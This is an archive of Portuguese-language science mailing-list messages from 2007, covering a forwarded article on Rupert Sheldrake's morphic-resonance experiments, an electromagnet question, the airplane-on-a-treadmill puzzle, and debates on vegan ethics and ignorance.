Esta teoria - da qual tenho experiência própria com uma cachorrinha que - parece incrível - todos os sábados ´e só aos sábados ficava sentada na porta da varanda da casa do meu sítio, achardando minha chegada: quando enconstava o carro e ia abrir o portão ela vinha pela estradinha ganindo, urinando e se arrastando no chão até pular nos meus braços. O resto da cachorrada nem dava importância à minha presença....A casa ficava a uns 150 m. do portão....

Existem pesquisas em curso, não apregoadas nos jornais, sobre a emissão de determinadas ondas ou mesmo odores emitidos pelo cérebro em ocasiões especiais: uma das características - veja que não digo evidência pois existe experiência comprovada - é a amizade, a amtipatia: quantas vezes sentimos bem estar na presença de uma pessoa e detestamos outras... entre os homens e os animais também existe isso: a nova técnica de doma de cavalos, sem violência, só com palavras, criada nos EUA e já em uso aqui, é também um sinal de que existe um relacionamento bioquímico entre os seres vivos. Algum dia isso será desvendado e todos acharão perfeitamente normal fatos que até então eram misteriosos, místidos, milagres....
É preciso entender que estamos no limiar da presença dos humanos racionais sobre a Terra: começou tímidamente após a última glaciação a 20.000 anos e só recebeu um impulso com a filosofia grega, chinesa e indu e posteriormente, com o Iluminismo, (1.500): e sempre tendo de vencer fortes barreiras do preconceito, do fundamentalisto religioso, mítico, conservador.

Gostaria de ler algo desse Sheldrake: por ser muito extenso, não viu responder pontualmente ao e-mail: mas, com referência às aves como as migratórias que saem do Alasca e vêm passar o verão aqui na praia, sujando todos os barcos, ou os pombos correios, ou as abelhas e similares é assunto já resolvido.

Os humanos, cara amiga, ainda estão no limiar do conhecimento.....

uma boa noite,

silvio.
----- Original Message -----
From: Eliana
To: Conversa_de_Botequim@yahoogrupos.com.br
Sent: Sunday, May 20, 2007 12:44 AM
Subject: [Pingão] Rupert Sheldrake - A Ciência em Xeque


Rupert Sheldrake - A Ciência em Xeque
http://www.terra.com.br/planetanaweb/flash/reconectando/agrandeteia/xeque.htm

Em seu último livro publicado no Brasil, o biólogo e cientista da natureza Rupert Sheldrake propõe uma série de experimentos que podem abalar as estruturas do conhecimento científico

Pombos-correio sempre encontram o caminho de volta para casa, mesmo sob as mais adversas condições. Animais domésticos "sabem" quando seus donos estão voltando, sentando-se à porta para esperá-los. Uma pessoa "percebe" quando está sendo observada pelas costas; e quem teve alguma parte do corpo amputada chega a esquecer-se do fato, porque "sente" o membro no mesmo local.

Por mais que a ciência se esforce, o fato é que, até o momento, os cientistas ainda não encontraram respostas satisfatórias para explicar tais fenômenos. Talvez porque a maior parte dos pesquisadores ainda se apóie numa filosofia mecanicista da natureza, na qual o cosmo é tido como uma máquina, assim como tudo o que ele contém, inclusive o corpo humano. Apenas a mente consciente e racional do homem seria diferente, sendo espiritual em sua essência. Desse modo, tudo o que não pode ser explicado racionalmente ainda é visto como algo pouco sério e, portanto, não deve ser levado em consideração.

Mas até que ponto a própria ciência e a metodologia usada pelos cientistas não são questionáveis? Por exemplo: constantes físicas pretensamente imutáveis, como a velocidade da luz e a constante gravitacional universal, não estariam sujeitas a flutuações num universo caótico e constantemente em evolução? E até que ponto os cientistas, ao conduzir seus experimentos, não estariam influenciando os resultados com as próprias expectativas?

Tais questões são propostas pelo biólogo inglês e filósofo da natureza Rupert Sheldrake, em seu livro Sete Experimentos Que Podem Mudar o Mundo - Pode a Ciência Explicar o Inexplicável?(Editora Cultrix). Sheldrake é conhecido pelas suas teses e teorias revolucionárias, que causam polêmica no meio científico por abalarem "verdades" já estabelecidas. Nessa obra, porém, ele vai mais além, ao colocar em xeque a certeza do conhecimento científico. "Tudo leva a crer que a ciência seja superiormente objetiva. Aliás, a crença na objetividade da ciência é artigo de fé para muitas pessoas no mundo moderno", afirma. No entanto, na ânsia de comunicar e impor suas idéias e descobertas, muitos cientistas deixam de lado o que não deu certo, para revelar somente os melhores resultados (o uso seletivo de dados é o tipo mais comum de fraude e auto-engano). Nos campos da bioquímica e da biologia, apenas 5% a 20% dos dados empíricos são selecionados para publicação. "Quando a maioria esmagadora dos dados é descartada em processos particulares de seleção - às vezes 90% ou mais -, existe um campo vasto para as tendências pessoais e os preconceitos operarem consciente ou inconscientemente", enfatiza Sheldrake.

Além disso, aceita-se como "científico" tudo aquilo que possa ser reproduzido em laboratório, em condições ideais semelhantes às do experimento original. Só que, na prática, raramente um experimento é reproduzido e reconfirmado por outros cientistas, preocupados com suas próprias descobertas e não em testar as dos seus colegas. Na verdade, os cientistas sentem a necessidade de preservar uma autoridade idealizada, não apenas por motivos pessoais e profissionais, mas também porque essa imagem é projetada neles pelos outros. Muita gente confia mais na ciência do que na religião e precisa acreditar em sua autoridade superior, objetiva. Assim, na medida em que a ciência substitui a religião, como fonte de verdade e valores, os cientistas se tornam uma espécie de sacerdotes. E, como sucede aos sacerdotes em geral, logo surge a expectativa pública de que eles vão viver segundo o que pregam: com objetividade, racionalidade e buscando a verdade.

Constantes variáveis - Mas, por mais que se esforcem, os cientistas nunca irão chegar à "busca da verdade" se partirem de princípios questionáveis. As constantes físicas, por exemplo, são números básicos usados por eles nos cálculos. Só que os valores dessas constantes - considerados fixos e imutáveis - dependem de medições em laboratórios. Sheldrake tenta provar que os valores das constantes físicas fundamentais mudaram ao longo das duas últimas décadas e que a natureza das mudanças pode ser investigada mais a fundo.

Vários físicos, entre os quais Arthur Eddington e Paul Dirac, aventaram que pelo menos algumas "constantes fundamentais" podem mudar com o tempo. Dirac, em particular, propôs que a constante gravitacional universal G talvez diminua com o passar do tempo: a força da gravidade se enfraquece enquanto o universo se expande. Todavia, os que fazem tais especulações logo declaram que não estão desafiando a idéia das leis eternas: estão apenas sugerindo que leis eternas governam a variação das constantes.

A hipótese de que as próprias leis evoluem é mais radical. O filósofo Alfred North Whitehead observou que, se renunciarmos à velha idéia das leis platônicas impostas ao universo e pensarmos, ao contrário, em leis imanentes à natureza, então elas terão de evoluir junto com esta. Portanto, se abandonaria a tese de um universo que evolui segundo leis fixas e eternas. Desse modo, ainda que os valores médios das constantes sejam de fato estáveis em longos períodos de tempo, podem, numa dada época, variar em torno da média como conseqüência de alterações nos ambientes extraterrestres ou flutuar caoticamente. Medições em laboratórios e os melhores valores da constante gravitacional universal G, feitos no período de 1888 a 1989, confirmam isso.

Pesquisas também mostraram velocidades mais baixas da luz medidas entre 1928 e 1945. "Se foi apenas questão de erro experimental, por que os resultados de diferentes pesquisadores e diferentes métodos concordaram tão bem? E por que o erros estimados eram tão pequenos?", questiona Sheldrake. Segundo ele, uma das possibilidades é que a velocidade da luz realmente flutue de tempos em tempos, e talvez tenha mesmo caído durante uns 20 anos. Entretanto, essa não é uma possibilidade que os cientistas da área consideraram seriamente. A suposição de que a velocidade da luz tem de ser fixa é tão forte que os dados empíricos tiveram de ser explicados de outra forma.

Expectativas do experimentador - Se os cientistas pecam por selecionar apenas dados favoráveis - conscientemente ou não - e utilizar "verdades" questionáveis, o que não dizer dos efeitos das expectativas do experimentador sobre os objetos em estudo? Um embriologista, por exemplo, não levará a sério a idéia de que suas expectativas possam, de algum modo misterioso, influenciar o desenvolvimento dos tecidos embrionários que ele está observando. Em psicologia e medicina, os efeitos do experimentador explicam-se geralmente como influências transmitidas por "sugestões imperceptíveis". A possibilidade de incluírem tendências "paranormais", como telepatia e psicocinese, nem chega a ser discutida na elegante sociedade científica. No entanto, testes comprovam que o efeito placebo (produtos inócuos são administrados a doentes como se fossem potentes medicamentos) ocorrem com mais força nos experimentos duplamente cegos (double-blind), onde tanto pacientes quanto médicos crêem que um vigoroso tratamento novo está sendo aplicado. Se os médicos acreditarem que o tratamento não é tão eficaz, obtém-se um pequeno efeito placebo. Nos testes em que os pacientes também sabem que estão ingerindo uma substância inativa, a eficiência é menor ainda. Na verdade, a influência da mente sobre os medicamentos já foi reconhecida pelo médico francês Armand Trousseau, do século 19, que advertia os colegas para "tratarem tantos pacientes quanto possível com as novas drogas, enquanto tivessem o poder de curar".

Sheldrake conclui dizendo que, "se o efeito do experimentador fosse levado a sério na maioria dos ramos da ciência, e não apenas na medicina e na psicologia, o debate sobre suas conseqüências e o interesse por sua natureza levariam provavelmente à ampliação da pesquisa do tema, atraindo para a área crescentes investimentos. Contudo, nunca mais a fé na objetividade intrínseca dos experimentadores seria possível sob a forma ingênua que ainda hoje prevalece".

O conceito tradicional de que as sociedades de insetos se constituiriam em superorganismos entrou em declínio nos anos 50 para ressurgir, recentemente, como uma necessidade de análise das propriedades holísticas da colônia. Por sua vez, programas de moldagem computadorizada de colônias de insetos desempenham o mesmo papel que a "alma da colônia" ou "mente grupal", outrora proposta pelos vitalistas, mas repelida pelos mecanicistas como "místicas". Porém, modelos de computador falham num ponto, pois não provam que atividades mentalizadas de alto nível "brotem" de contatos mecânicos entre insetos: pressupõem esses contatos logo de início.

Sheldrake acredita que a abordagem mais promissora é pensar a organização holística das colônias de cupins em termos de campos. Nesse caso, os insetos seriam coordenados pelos campos sociais, que conteriam os projetos de construção das colônias. Assim como a organização especial da limalha de ferro ao redor de um ímã depende de um campo magnético, também a organização dos cupins na colônia talvez dependa de um campo-colônia. Elaborar modelos sem levar em consideração esses campos é o mesmo que tentar explicar o comportamento da limalha de ferro ao redor do ímã sem considerar o campo, como se o padrão brotasse de programas existentes no interior de cada partícula de ferro.

O conceito de campos morfogenéticos surgiu na década de 20, postulado por embriologistas e biólogos para explicar como as plantas e animais se desenvolvem. Os campos eram considerados projetos ou planos invisíveis que moldavam os organismos em desenvolvimento. O conceito de campo morfogenético é hoje amplamente adotado por biólogos desenvolvimentistas, sendo empregado para explicar como os nossos braços e pernas, por exemplo, apresentam formas diferentes, apesar de conterem os mesmos genes e proteínas.

O problema é que ninguém sabe o que são os campos morfogenéticos e como funcionam. Muitos biólogos crêem que, mais cedo ou mais tarde, eles serão compreendidos nos termos da física e da química convencionais. Sheldrake, porém, crê que se tratam de campos de um novo tipo e propôs para eles o termo campos mórficos. "Acredito que as propriedades holísticas e auto-organizadoras de sistemas de quaisquer níveis de complexidade, das moléculas às sociedades, dependem desses campos. Os campos mórficos não são fixos: evoluem. Possuem uma espécie de memória interna, que depende dos processos de ressonância mórfica, ou seja, a influência do igual sobre o igual ao longo do tempo e do espaço", afirma.

A resposta a esse fenômemo depende da visão de cada um. Para algumas pessoas, o corpo não-material constitui um aspecto da psique ou alma. Ele normalmente anima o corpo físico, mas é capaz de isolar-se dele. Os membros-fantasmas seriam, pois, aspectos da alma ou psique. Essa interpretação é perfilhada atualmente por diversos sensitivos, que garantem avistar as "auras" de membros. Nos círculos esotéricos, os membros-fantasmas são considerados aspectos do corpo sutil, astral ou etérico. Porém, do ponto de vista da mente mais limitada, os fantasmas e o corpo não-material não passam de ilusões geradas pelo sistema nervoso. A medicina institucional ainda vive sob a influência da teoria mecanicista, assim, a visão oficial transmitida às pessoas que tiveram seus membros amputados é que o fenômeno dos fantasmas localiza-se no interior do cérebro. No entanto, mesmo para a medicina, a localização exata dos membros-fantasmas é bastante vaga.

Sheldrake observa que todas as teorias científicas convencionais se inserem no paradgima da mente contraída: esquemas corporais, imagens e fantasmas têm de estar dentro do cérebro. Mas, se a mente se estende para dentro e para fora do corpo, não há porque confinar a imagem do corpo ao cérebro, ou mesmo ao tecido nervoso. Ou seja, o membro-fantasma não deve refugiar-se no cérebro: ele está onde parece estar, projetando-se do coto.

Esse fenômeno também pode ser enquadrado na teoria dos campos mórficos. Assim como um indivíduo pode ser afetado quando está sendo observado por outra pessoa, pode sê-lo igualmente quando é "tocado" por um membro-fantasma. Qualquer que seja a natureza do campo subjacente ao membro-fantasma, a pessoa "tocada" está organizada por campos semelhantes, de modo que os campos do amputado e os do sujeito podem influenciar-se. Se alguém, por exemplo, pudesse sentir - por meio de experimentos - que está sendo "tocado" por um membro-fantasma, isso já seria um passo importante na tentativa de validar a teoria dos campos mórficos.

Bancando o cientista

No final de cada capítulo do livro Sete Experimentos Que Podem Mudar o Mundo, Rupert Sheldrake propõe experiências para comprovar suas teses revolucionárias. Duas delas somente podem ser feitos por cientistas em laboratórios especializados. As outras, porém, relatadas a seguir, são passíveis de serem executadas por qualquer pessoa que se interesse pelo assunto.

Segundo Shaldrake, saber que seus donos estão voltando para casa é apenas um dos vários modos de os animais de estimação exibirem outros poderes surpreendentes, tais como aptidão para regressar ao lar, aptidão para reencontrar donos que foram embora e comunicação telepática aparente. Alguns deles parecem saber que estão perto de casa, mesmo após viajar horas de carro no escuro, adormecidos. Para atestar esta habilidade, o animal deve ser transportado num furgão, de onde não possa ver, ouvir ou farejar o dono sentado ao volante. Os movimentos serão anotados por um observador que ignora o destino do furgão ou monitorados por uma câmera de vídeo, gravador ou outro aparelho automático. O furgão também pode ser dirigido por alguém que não saiba onde é a casa do animal e não consiga emitir, portanto, nenhuma pista.

No caso dos pombos-correio, o ideal é construir um pombal móvel, sobre rodas, que possa ser deslocado a grandes distâncias. Uma vez montado o pombal, com os pássaros bem adaptados e acostumados a voltar normalmente, deve-se ensiná-los a encontrar o pombal móvel, de início em trajetos curtos. Depois que se acostumarem a regressar ao pombal móvel, este será removido a distâncias cada vez maiores. Neste caso, é importante manter um registro detalhado do posicionamento do pombal e dos vôos de treinamento, bem como anotar cuidadosamente as condições climáticas, direção do vento, tempo exato de soltura das aves e instante em que se aproximam do pombal. Pode-se também remover os outros pombos para um lugar distante e colocar o pombal num ligar diferente, observando se os pombos voltam para o local onde estão os outros membros do bando ou para o pombal vazio.

Experimentos com cupins, por sua vez, serviriam para provar a existência dos campos mórficos. Na década de 20, o naturalista sul-africano Eugène Marais empreendeu uma série de observações sobre como a espécie Eutermes reparava grandes brechas abertas por ele em seus montículos. Os operários, em lugares diferentes da brecha, não tinham contato entre si e não se podiam ver. No entanto, as estruturas erguidas de cada lado ajustavam-se perfeitamente.

O experimento de Marais consiste em pegar uma lâmina de aço alguns centímetros mais larga e alta que o cupinzeiro e inseri-la no montículo, dividindo-o ao meio. Em seguida, deve-se observar como os cupins se comportam na reconstrução do cupinzeiro. Também pode-se remover a rainha, para observar qual a reação dos operários em ambos os lados. No caso da mente expandida (sensação de estar sendo observado), as pessoas atuam aos pares, por tempo determinado (geralmente 20 minutos), uma delas ficando de costas. Numa série de tentativas em seqüência aleatória, ora o observador mira as costas do sujeito, por 20 segundos, ora desvia o olhar e pensa em outra coisa por mais 20 segundos. A seqüência aleatória é determinada atirando-se a moeda antes de cada tentativa: cara significa olhar e coroa significa não olhar. O observador informa quando o experimento vai começar com uma pancadinha, um estalido ou um sinal eletrônico; em seguida, o sujeito informa se está sendo observado ou não. Estalidos mecânicos ou sinais eletrônicos são melhores, porque eliminam a possibilidade de dicas transmitidas pela força da pancada. O observador anota o resultado e diz ao sujeito se a resposta foi ou não correta; depois, atira a moeda para saber o que fazer na próxima tentativa. Tudo é muito rápido e alcança-se facilmente uma velocidade média de duas tentativas por minuto. Os resultados são anotados numa folha simples.

No caso dos membros-fantasmas, a forma mais simples de experimento é adotar o mesmo procedimento geral dos testes de sensação de estar sendo observado. O sujeito senta-se de costas para a pessoa que tem um braço-fantasma e, numa seqüência aleatória, esta última nada faz (controle) ou toca o ombro do sujeito com a mão fantasma. O início de cada tentativa é indicado por um estalido, um zumbido ou outro sinal mecânico. O sujeito declara então se sentiu ou não o toque-fantasma. Registra-se o resultado e o sujeito fica sabendo se acertou ou errou. A informação deverá capacitar o sujeito e aprender a detectar a sensação estranha de um toque-fantasma. É claro, no caso de pessoas com pernas em vez de braços-fantasmas, o sujeito tentará detectar o toque do pé, num chute-fantasma.

É importante que todas as experiências sigam padrões de registro, como hora, local e condições climáticas. Amigos e colegas podem dar sugestões para a melhoria dos métodos. Feito o trabalho é preciso registrá-lo na forma de relatório, incluindo pormenores dos procedimentos utilizados, os dados em si e a análise estatística, se for o caso. Novamente, amigos podem fazer críticas construtivas, que levam a uma apresentação e interpretação mais claras dos resultados.

O relatório, com suas conclusões, deve ser enviado a um dos centros de coordenação do Sheldrake Seven Experiments Project (http://www.sheldrake.org/). Nos Estados Unidos, o centro funciona no Institute of Noetic Sciencies ( http://www.ions.org) , perto de San Francisco. As informações serão publicadas no boletim desse instituto.

Fonte: http://www.terra.com.br/planetanaweb/flash/reconectando/agrandeteia/xeque9.htm

LEIA MAIS:
Site oficial de Rupert Sheldrake, o criador da teoria da Ressonância Mórfica.
http://www.sheldrake.org/

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SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 22:56

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> > Acho que as pessoas não fazem uma opção consciente pela ignorância,
>
> Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser o
> cérebro complicado demais para ser entendido. Na verdade, elas querem
> que ele seja complicado demais de modo que a neurologia não consiga
> abordá-lo.

Será?

> > Eu penso que a grande maioria das pessoas não consegue formular uma
> > idéia minimamente razoável do que representa uma galáxia em termos
> de
> > tempo e espaço, por exemplo.
>
> E alguém tem? São coisas que estão além da nossas capacidades
> cognitivas. Qual é o diâmetro da Via Láctea? Eu não sei. Se me
> disserem 1 milhão de anos luz, eu aceito. Se me disserem 10 eu também
> aceito. Ou mesmo 100. 1000 eu já acho improvável, mas simplesmente
> porque eu tenho certas referências astronômicas que me permitem
> comparar as distâncias. Eu sei que existe um enorme aglomerado de
> galáxias a 5 bilhões de anos luz daqui. Assim, é improvável que a Via
> Láctea tenha 1 bilhão. Mas se eu não soubesse disso eu engoliria até
> mesmo 1 bilhão. 1 milhão, 1 bilhão, que diferença faz?

Você está fazendo opção pela ignorância disso?

> Saudações,
> João de Carvalho
>

Abraços,
JC




SUBJECT: Re: Fw: eletroima
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 23:03

Peça para o garoto enrolar 100 metros de fio esmaltado (não precisa se
precupar com a espessura) em uma pilha de 1,5 V. Daí ele coloca 121
clips (um é de brinde) em um dos pratos de uma balança de braços
iguais. Em seguida coloca o eletroíma no outro prato e... Voilá!

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Quem quer fazer esses cálculos ... mesmo aproximado!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Thiago
> Para: leobarretos@...
> Enviada em: quinta-feira, 17 de maio de 2007 12:52
> Assunto: eletroima
>
>
> Boa tarde Leo Barretos novamente venho enviar um email pois
necessito de informações para confecção de um eletroima, preciso
levantar 120 clipes de papel e com uma pilha de 1,5v pequena e nucleo
de ferro, preciso fazer este eletroima até dia 25/05/07 e preciso do
seu auxilio por favor se possivel favor me enviar um email estou no
aguardo da sua resposta e desde já agradeço pela colaboração e atenção.
>
> Atenciosamente.
>
> Thiago Willian de Paula
> Desenhista copista ( SMFO )
> thiago.wilian.mwl@...
> (12) 3654-7400 ramal 423
>
>
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.1/807 - Release Date:
16/05/2007 18:05
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 23:14

Proponho um churrasco para resolver essa peleja.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 23:20

Olá, Ricardo!

Se vc já não agüenta mais não precisa continuar, OK? Mas parece que vc está
em dúvida se vai, se fica ou antes pelo contrário... Se toda vez vc for
pedir desculpas aos listeiros, o melhor é decidir se fica por aqui ou se vai
continuar... Se for continuar tire as teias de aranha dos neurônios e vamos
lá!

1. Quando a medida da velocidade do avião for feita por GPS, está
considerando a terra-chão como referencial. Nesse caso o avião acelera e
levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
terra-chão...

2. Se a medida da velocidade do avião for feita pela velocidade do ar
fluindo contra o avião, ele também alça vôo com uma velocidade *em torno de
dobro da velocidade da esteira*, a depender das correntes de ar... Está
considerando como referência a massa de ar em movimento.

3. Se a medida da velocidade do avião for feita em relação à esteira, se
deslocará sobre a esteira a mesma distância que a esteira se desloca para
trás com o avião, infinitesimalmente, quando o avião acelera os
motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
velocidade do avião* em sentido contrário. Nesse caso o avião permanece
praticamente parado em relação à massa de ar, não terá sustentação para
alçar vôo...

Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...
Essa ainda é a melhor forma de entender como se processam as medições.

[]s

José Renato
.........................
From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 1:32 PM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Co-listeiros, peço desculpas por prolongar ainda mais esta discussão (nem eu
agüento mais), mas... José Renato, vc se importaria de mostrar uma situação
onde a forma de medida da velocidade do avião altera o resultado deste
problema? Mas, por favor, não se esqueça, de maneira nenhuma, de considerar
um e apenas um referencial válido (referencial no avião e na esteira
invalidam o problema, como já concluímos), para as velocidades medidas.

No aguardo...

Um abraço,

Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 20 de maio de 2007 23:03
Para: ciencialist@yahoogrupos.com.br
Assunto: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

Caro, Homero!

Não é a forma de tração "tudo o que importa aqui". O detalhe principal é a
forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
velocidade do ar; odômetro mecânico ou fotométrico...

Abraços

José Renato




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SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 23:20

Não vi em que parte houve discordância, mas tudo bem. Quanto ao povo
da USP... Bom, eles são "estudantes" né? :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Izé:
>
> Continuo discordando, agora sobre outro aspécto: o pragmático.
> Considerando a América do Sul como um todo, as pessoas que detêm
algum conhecimento sobre pontos essenciais para o exercício da
cidadania são poucos.
> Entretanto, caro amigo, o mundo funciona: a sociedade em sua paioria
cumpre seus deveres, trabalha, cuida das culturas e da saúde, evolui
mais lentamente do que seria de se esperar de uma população de boa
cultura, mas evolui.
> Elitizar o conhecimento, a sapiência pode ser arma de dois legumes
como nos ensina a história. Um pouco de pragmatismo seria de bom
alvitre: temos os cânceres religiosos a correr as entranhas sociais é
inimigo poderoso...
> A disseminação ampla, geral e irrestrita do saber levaria ao nada
pois não poderia ser controlado... Veja, hoje, a invasão da reitoria
da USP, e veja quem orienta e dirige a ocupação: nem é aluna: é
funcionária da USP, tem seu ideário político, usa, com sua camarilha a
massa estudantil para aprimorar o caos. Os motivos são realmente
escusos. ..
>
> Voltando ao cérebro, ele tambem é construido, ao longo do tempo, em
camadas: gostaria de estudar a primeira, o chassis neural ou cérebro
reptileano onde, como diz nosso deputado Jefferson, nossos instintos
mais primitivos....
>
> Observe como o cidadão é lesado no nosso país: (é outro assunto):
ontem entrei no submarino pra comprar um livro. achei o libro e ao
lado tinha um csarimbo: frete gratis. Fui aos finalmentes, preenchi a
pepelada toda pois esqueci minha senha: na nora da conta, cobraram 13
pratas de frete: cancelei tudo e mandei um e-mail questionando o fato
e hoje veio a resposta: é gratis para quem compra três livros... Isso
é estelionado, indução a êrro, propaganda enganosa... escrevi para a
livraria que nem está aí pra mim, um mísero leitor: ela trabalha é com
a massa, que compra sem ler, sem cuidar nem dos entretantos nem dos
finalmentes...
>
> um bom fim de domingo,
>
> silvio.
>
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, May 20, 2007 9:23 PM
> Subject: [ciencialist] Re: A verdadeira foto do Takata
>
>
> Não há nenhum preconceito no que eu disse, Silvio. Basta ler com
> atenção. Eu disse que o conhecimento é uma construção em camadas.
> Obviamente se você chegou à idade madura com camadas que lhe permitam
> continuar aprendendo, e isso significa que você tem se dedicado a
> aprender antes, então aprender para você não é uma "atividade nova",
> mas tão somente a consequência natural de viver e, nesse caso, tanto
> faz sobre o que você esteja aprendendo agora. Mas se você chegou à
> idade madura apenas com uma coleção de respostas prontas e um hábito
> arraigado de vagabundagem mental, então você continuará sendo estúpido
> pelo resto da vida, pois não será mais possível tirar todo o lixo que
> você acumulou na memória, todos os vícios do pensamento e toda a
> preguiça de pensar, tão bem treinada em décadas de marasmo mental.
> Pode parecer cruel, mas eu realmente acho que isso é a realidade.
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> <scordeiroes@> escreveu
> >
> > J. Carlos.
> >
> > boas falas. assino em baixo.
> >
> > Só não tenha preconceitos por questão de idade: só me interessei por
> filosofia após a aposentadoria pois antes trabalhava e muito... em
> obras de engenharia.
> > As pessoas mais velhas aprendem, são lúcidas e têm uma bagagem de
> conhecimentos que podem ajudar para esclarecer, aclarar pensamentos.
> > Õs carolas, papa-hóstias não têem idade: veja nossas listas.... mas
> são condicionados ao preconceito e fundamentalismo, independente da
> faixa hetária pelos próprios sistemas de alienação dos fieis.
> > Embora toda regra tenha excessão....
> >
> > um bom domingo,
> >
> > silvio.
> > ----- Original Message -----
> > From: José Carlos Antonio
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Sunday, May 20, 2007 5:18 AM
> > Subject: [ciencialist] Re: A verdadeira foto do Takata
> >
> >
> > João,
> >
> > Acho que as pessoas não fazem uma opção consciente pela ignorância,
> > elas apenas são ignorantes por natureza, pois ninguém nasce menos
> > ignorante que outro ou dotado de algum "conhecimento" além daqueles
> > mínimos gravados em nosso DNA.
> >
> > O problema, a meu ver, é que abandonar a ignorância tem um preço
muito
> > alto: é precido ler muito, ouvir muito, pensar muito e aprender
que as
> > respostas que encontramos são sempre superficiais, temporárias e
> > relativas. Esse aprendizado, da relatividade do nosso próprio
> > conhecimento, talvez seja muito difícil para quem aprendeu por muito
> > tempo apenas a "acreditar em respostas" e não treinou o "duvidar das
> > perguntas".
> >
> > Eu penso que a grande maioria das pessoas não consegue formular uma
> > idéia minimamente razoável do que representa uma galáxia em
termos de
> > tempo e espaço, por exemplo. E muito menos ainda conseguem ter uma
> > visão microscópica da matéria que lhes permita compreender,
ainda que
> > superficialmente, a complexidade e o caos que geram a ordem das
> > estruturas macroscópicas. Isso tudo é muito complicado para mentes
> > lineares e superficiais alimentadas por cultura inútil.
> >
> > Depois que as pessoas envelhecem é ainda mais difícil assimilar
novos
> > paradigmas ou idéias contraditórias às suas "verdades". Em educação
> > vemos isso claramente, tanto quanto vemos isso transparecer nessas
> > discussões de cunho religioso que assitimos nas listas.
> >
> > Nenhum ser humano minimamente inteligente e bem informado
poderia crer
> > em deuses que criam mundos e seres para habitá-los, mas eles crêem!
> > Tomam antibióticos para curarem-se de infecções e depois agradecem
